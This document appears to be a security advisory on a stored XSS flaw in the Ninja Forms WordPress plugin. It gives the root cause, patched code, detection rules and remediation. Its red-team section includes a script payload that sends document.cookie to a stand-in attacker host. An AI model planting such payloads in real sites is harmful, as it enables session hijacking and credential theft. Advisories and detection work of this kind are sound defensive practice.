CVE-2025-2560

Executive Summary

CVE-2025-2560 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ninja Forms WordPress plugin, affecting versions prior to 3.10.1. This flaw allows high-privilege users (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when other users view the settings page. Even in multisite configurations where the unfiltered_html capability is disallowed, the vulnerability can be exploited. Successful exploitation could lead to session hijacking, credential theft, or further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability affects the Ninja Forms WordPress plugin, distributed via the official WordPress plugin repository. Users should verify they are running version 3.10.1 or later. No known supply chain compromise has been reported, but the plugin’s widespread use increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD not assigned; estimated 4.8 Medium based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (victim must view settings page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can lead to persistent compromise.

Deep Dive & Mechanics

The vulnerability resides in the Ninja Forms plugin’s settings handling. The plugin fails to sanitize and escape certain settings fields before outputting them in the admin dashboard. An attacker with admin-level access can inject arbitrary JavaScript into these fields. When another admin or user with access to the settings page views the affected section, the injected script executes in their browser context.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions (e.g., esc_html(), esc_attr()) on settings values retrieved from the database. This allows stored XSS even when unfiltered_html is disabled, as the vulnerability bypasses the typical content filtering.

Attack Flow:

1. Attacker gains admin access (e.g., via compromised credentials or social engineering).
2. Attacker navigates to Ninja Forms settings and injects malicious JavaScript into a vulnerable field.
3. The payload is stored in the WordPress database.
4. Another admin or user views the settings page, triggering the script execution.
5. The script can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.10.1):

// In settings output
echo $setting_value; // No escaping

Patched Code (3.10.1+):

// In settings output
echo esc_html( $setting_value ); // Properly escaped

The patch applies WordPress’s esc_html() function to all settings values before output, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Prerequisites: Admin credentials for a WordPress site running Ninja Forms < 3.10.1.
2. Steps:
   • Log in as admin.
   • Navigate to Ninja Forms → Settings.
   • Locate a vulnerable field (e.g., custom CSS, header/footer scripts).
   • Inject payload: <script>alert('XSS')</script> or more advanced: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   • Save settings.
   • Wait for another admin to view the settings page.
3. Expected Outcome: The script executes in the victim’s browser, exfiltrating data.

Blue Team (Defense & Detection)

1. Prevention: Update to version 3.10.1 immediately.
2. Detection: Monitor for unusual admin activity, especially changes to Ninja Forms settings.
3. Response: If compromised, revoke all admin sessions, reset passwords, and audit settings for injected scripts.

Indicators of Compromise (IOCs)

• File Changes: Modified Ninja Forms plugin files (check integrity via checksums).
• Database Entries: Suspicious JavaScript in wp_options table under Ninja Forms settings keys.
• Network Traffic: Outbound connections to unknown domains from admin pages.
• Logs: Unusual admin login times or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2025_2560_NinjaForms_XSS {
    meta:
        description = "Detects stored XSS payloads in Ninja Forms settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2560"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $ninja_settings = /ninja_forms/i
    condition:
        $ninja_settings and $xss_payload
}

Sigma Rule

title: Ninja Forms Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in Ninja Forms settings
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/admin.php?page=ninja-forms"
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2560 Ninja Forms Stored XSS Attempt"; flow:to_server; content:"/wp-admin/admin.php?page=ninja-forms"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Ninja Forms to version 3.10.1 or later.
2. Workaround: If upgrade is not possible, restrict admin access to trusted users only and disable unfiltered_html for all roles.
3. Hardening: Implement Web Application Firewall (WAF) rules to block script injection in admin pages.
4. Monitoring: Enable logging for all admin actions and review regularly.
5. Backup: Maintain recent backups to restore in case of compromise.

Valters IT